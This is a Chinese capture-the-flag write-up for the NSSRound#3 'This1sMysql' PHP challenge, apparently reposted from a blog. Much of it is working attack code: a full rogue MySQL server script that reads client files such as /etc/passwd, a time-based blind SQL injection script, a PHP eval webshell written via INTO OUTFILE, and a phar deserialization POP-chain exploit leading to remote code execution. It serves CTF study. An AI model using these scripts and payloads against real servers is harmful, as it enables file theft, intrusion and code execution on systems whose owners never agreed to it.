[NSSRound#3 Team]This1sMysql

发布时间:2024年01月05日

[NSSRound#3 Team]This1sMysql

源码

 <?php
show_source(__FILE__);
include("class.php");
$conn = new mysqli();

if(isset($_POST['config']) && is_array($_POST['config'])){
    foreach($_POST['config'] as $key => $val){
        $value = is_numeric($var)?(int)$val:$val;
        $conn->set_opt($key, $value);
    }
}

if(isset($_POST['mysql']) && is_array($_POST['mysql'])){
    $my = $_POST['mysql'];
    if($conn->real_connect($my['host'], $my['user'], $my['pass'], $my['dbname'], $my['port'])){
        echo "connect success";
        $conn->query("show databases;");
    }
    else{
        echo "connect fail";
    }
    
}
else{
    include("function.php");
}

$conn->close();
?>

先来看看怎么处理config参数的,首先必须是数组,然后foreach遍历赋值给$val,如果是$var是数字,则$val转换成int型赋值给$value否则按原始值赋值。然后执行set_opt($key, $value)百度了一下,发现是mysqli_options函数的别称

那么我们分析下mysqli_options函数的参数

 public mysqli::options(int $option, string|int $value): bool

刚好对应我们源码中的参数

option是可以修改的选项,注意是int型

在这里插入图片描述

而value是布尔值,这俩参数暂时还不知道如何利用

我们接着往下看,接收参数mysql包括对应键名进行sql数据库连接,可是我们并不知道具体的信息。结合提示Rogue-MySql-Server,去网上搜到可以利用Mysql服务端反向读取客户端的任意文件

当然此原理利用的option是**MYSQLI_OPT_LOCAL_INFILE**。通过题目提供的mysql参数对我们本地机的Mysql服务端进行连接从而反向读取靶机的文件

我们前面分析过了参数config的作用,那么我们只需要开启该option设置为true即可

(我查的是9,但是参考wp中确实排在8)

config[8]=true

用来读取文件的脚本

from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter

_rouge_mysql_sever_read_file_result = {

}
_rouge_mysql_server_read_file_end = False


def checkVersionPy3():
    return not version_info < (3, 0)


def rouge_mysql_sever_read_file(fileName, port, showInfo):
    if showInfo:
        log = getLogger(__name__)
        log.setLevel(INFO)
        tmp_format = StreamHandler()
        tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
        log.addHandler(
            tmp_format
        )

    def _infoShow(*args):
        if showInfo:
            log.info(*args)

    # ================================================
    # =======No need to change after this lines=======
    # ================================================

    __author__ = 'Gifts'
    __modify__ = 'Morouu'

    global _rouge_mysql_sever_read_file_result

    class _LastPacket(Exception):
        pass

    class _OutOfOrder(Exception):
        pass

    class _MysqlPacket(object):
        packet_header = Struct('<Hbb')
        packet_header_long = Struct('<Hbbb')

        def __init__(self, packet_type, payload):
            if isinstance(packet_type, _MysqlPacket):
                self.packet_num = packet_type.packet_num + 1
            else:
                self.packet_num = packet_type
            self.payload = payload

        def __str__(self):
            payload_len = len(self.payload)
            if payload_len < 65536:
                header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
            else:
                header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

            result = "".join(
                (
                    header.decode("latin1") if checkVersionPy3() else header,
                    self.payload
                )
            )

            return result

        def __repr__(self):
            return repr(str(self))

        @staticmethod
        def parse(raw_data):
            packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
            payload = raw_data[1:]

            return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)

    class _HttpRequestHandler(async_chat):

        def __init__(self, addr):
            async_chat.__init__(self, sock=addr[0])
            self.addr = addr[1]
            self.ibuffer = []
            self.set_terminator(3)
            self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
                                                                                                           "Auth",
                                                                                                           "Data",
                                                                                                           "MoreLength",
                                                                                                           "File"]
            self.state = self.stateList[0]
            self.sub_state = self.stateList[1]
            self.logined = False
            self.file = ""
            self.push(
                _MysqlPacket(
                    0,
                    "".join((
                        '\x0a',  # Protocol
                        '5.6.28-0ubuntu0.14.04.1' + '\0',
                        '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                    )))
            )

            self.order = 1
            self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']

        def push(self, data):
            _infoShow('Pushed: %r', data)
            data = str(data)
            async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)

        def collect_incoming_data(self, data):
            _infoShow('Data recved: %r', data)
            self.ibuffer.append(data)

        def found_terminator(self):
            data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
            self.ibuffer = []

            if self.state == self.stateList[0]:  # LEN
                len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
                    data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
                if len_bytes < 65536:
                    self.set_terminator(len_bytes)
                    self.state = self.stateList[2]  # Data
                else:
                    self.state = self.stateList[3]  # MoreLength
            elif self.state == self.stateList[3]:  # MoreLength
                if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
                    self.push(None)
                    self.close_when_done()
                else:
                    self.state = self.stateList[2]  # Data
            elif self.state == self.stateList[2]:  # Data
                packet = _MysqlPacket.parse(data)
                try:
                    if self.order != packet.packet_num:
                        raise _OutOfOrder()
                    else:
                        # Fix ?
                        self.order = packet.packet_num + 2
                    if packet.packet_num == 0:
                        if packet.payload[0] == '\x03':
                            _infoShow('Query')

                            self.set_terminator(3)
                            self.state = self.stateList[0]  # LEN
                            self.sub_state = self.stateList[4]  # File
                            self.file = fileName.pop(0)

                            # end
                            if len(fileName) == 1:
                                global _rouge_mysql_server_read_file_end
                                _rouge_mysql_server_read_file_end = True

                            self.push(_MysqlPacket(
                                packet,
                                '\xFB{0}'.format(self.file)
                            ))
                        elif packet.payload[0] == '\x1b':
                            _infoShow('SelectDB')
                            self.push(_MysqlPacket(
                                packet,
                                '\xfe\x00\x00\x02\x00'
                            ))
                            raise _LastPacket()
                        elif packet.payload[0] in '\x02':
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        elif packet.payload == '\x00\x01':
                            self.push(None)
                            self.close_when_done()
                        else:
                            raise ValueError()
                    else:
                        if self.sub_state == self.stateList[4]:  # File
                            _infoShow('-- result')
                            # fileContent
                            _infoShow('Result: %r', data)
                            if len(data) == 1:
                                self.push(
                                    _MysqlPacket(packet, '\0\0\0\x02\0\0\0')
                                )
                                raise _LastPacket()
                            else:
                                self.set_terminator(3)
                                self.state = self.stateList[0]  # LEN
                                self.order = packet.packet_num + 1

                            global _rouge_mysql_sever_read_file_result
                            _rouge_mysql_sever_read_file_result.update(
                                {self.file: data.encode() if not checkVersionPy3() else data}
                            )

                            # test
                            # print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)

                            self.close_when_done()

                        elif self.sub_state == self.stateList[1]:  # Auth
                            self.push(_MysqlPacket(
                                packet, '\0\0\0\x02\0\0\0'
                            ))
                            raise _LastPacket()
                        else:
                            _infoShow('-- else')
                            raise ValueError('Unknown packet')
                except _LastPacket:
                    _infoShow('Last packet')
                    self.state = self.stateList[0]  # LEN
                    self.sub_state = None
                    self.order = 0
                    self.set_terminator(3)
                except _OutOfOrder:
                    _infoShow('Out of order')
                    self.push(None)
                    self.close_when_done()
            else:
                _infoShow('Unknown state')
                self.push('None')
                self.close_when_done()

    class _MysqlListener(dispatcher):
        def __init__(self, sock=None):
            dispatcher.__init__(self, sock)

            if not sock:
                self.create_socket(AF_INET, SOCK_STREAM)
                self.set_reuse_addr()
                try:
                    self.bind(('', port))
                except error:
                    exit()

                self.listen(1)

        def handle_accept(self):
            pair = self.accept()

            if pair is not None:
                _infoShow('Conn from: %r', pair[1])
                _HttpRequestHandler(pair)

                if _rouge_mysql_server_read_file_end:
                    self.close()

    _MysqlListener()
    _asyLoop()
    return _rouge_mysql_sever_read_file_result


if __name__ == '__main__':
    #fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
    #不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
    for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=1028,showInfo=True).items():
        print(name + ":\n" + content.decode())

我们只需要修改监听的端口以及读取的文件即可

直接python3 test.py,然后脚本就开启监听

在这里插入图片描述

然后我们POST上传,注意ip和端口是我们内网穿透的

config[8]=true&mysql[host]=5i781963p2.yicp.fun&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=58265

成功读取

在这里插入图片描述

然后我们分别读取class.php和function.php

在这里插入图片描述

写个脚本恢复一下,把\n和转义的\都修改下

<?php
$filename = 'class.txt'; // 替换为要读取的文件路径

$code = file_get_contents($filename);
$code = str_replace('\n', "\n", $code);
$code = str_replace('\\', "", $code);

$file = 'class.php';
file_put_contents($file, $code);

echo "代码已从文件 $filename 中恢复并写入文件:$file";
?>

先看看function.php

<?php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';

if(!file_exists($mysqlpath)){
    die("NoNONo!");
}
else{
    $arr = json_decode(file_get_contents($mysqlpath));
    if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
        echo "connect success";
    }
    else{
        echo "connect fail";
    }
}
?>

有file_get_contents函数可以读取文件

发现mysql.txt,访问一下得到

在这里插入图片描述

再来看看class.php,发现可以利用include去文件包含

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES;
    }
    function __toString(){
        return $this->file["file"]["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
}
class Show{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function show()
    {
        $filename = $this->schema . $this->source;
        include($filename);
    }
    public function __wakeup()
    {
        if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
            $this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
        }
        if ($this->source !== 'default.jpg') {
            $this->source = 'default.jpg';
        }
    }
}
class Test{
    public $test1;
    public $test2;
    function __toString(){
        $str = $this->test2->test;
        return 'test';
    }
    function __get($value){
        return $this->$value;
    }
    function __destruct(){
        echo $this->test1;
    }

}

?>

我们的思路就是上传phar文件,然后利用function.php的参数mysqlpath去phar伪协议读取然后命令执行

可是关键点是我们并不知道flag的位置以及文件名,所以无法直接include包含flag,那么我们尝试写入一句话木马,然后include包含它实现RCE。思路正确的,那么我们先解决注入的目录路径,这里利用option的**MYSQLI_INIT_COMMAND**来执行sql盲注

config[3]=select @@global.secure_file_priv

用于查询MySQL服务器的全局变量secure_file_priv的值。该变量指定了MySQL服务器上允许执行LOAD DATA INFILESELECT ... INTO OUTFILE语句的目录。

盲注脚本如下

import requests
import datetime
import string

url="http://node4.anna.nssctf.cn:28086/"
path_dir=''

for i in range(1,50):
    low = 41
    high = 130
    mid = (high + low) // 2
    while (low < high):
        payload = f"select if((ascii(substr((select @@global.secure_file_priv),{i},1)))>{mid},sleep(2),1)#".format(i=i, mid=mid)
        data={
            "config[3]":payload
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 41 or mid == 130):
        break
    path_dir += chr(mid)
    print('目录为:{}'.format(path_dir))

得到目录为/nssctf

在这里插入图片描述

然后利用刚刚得到的数据库信息来写入木马

config[3]=select '<?=eval($_POST[1])?>' into outfile '/nssctf/shell.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306

在这里插入图片描述

接下来就是构造phar包,通过into dumpfile上传到/nssctf

pop链子如下

Test::__destruct() -> Show::__toString() -> Upload::__get() -> Test::__toString() -> Show::__get() -> Show::show()

这里要构造的是include('/nssctf/shell.php');

exp

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}
class Show{
    public $source;
    public $str;
    public $filter;
}
class Test{
    public $test1;
    public $test2;

}

$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="shell.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;

$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

由于phar文件包含不可见字符,所以我们可以在本地把它转换成十六进制

在这里插入图片描述

然后利用into dump的语法写入二进制文件

语法区别

  • SELECT ... INTO OUTFILE 将查询结果以文本格式写入文件。结果中的每一行对应查询结果的一行,列之间使用制表符分隔。
  • SELECT ... INTO DUMPFILE 将查询结果直接以二进制格式写入文件。结果不会使用制表符或其他分隔符进行格式化。

在这里插入图片描述

最后就是phar读取文件,在env找到flag

在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135410475
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。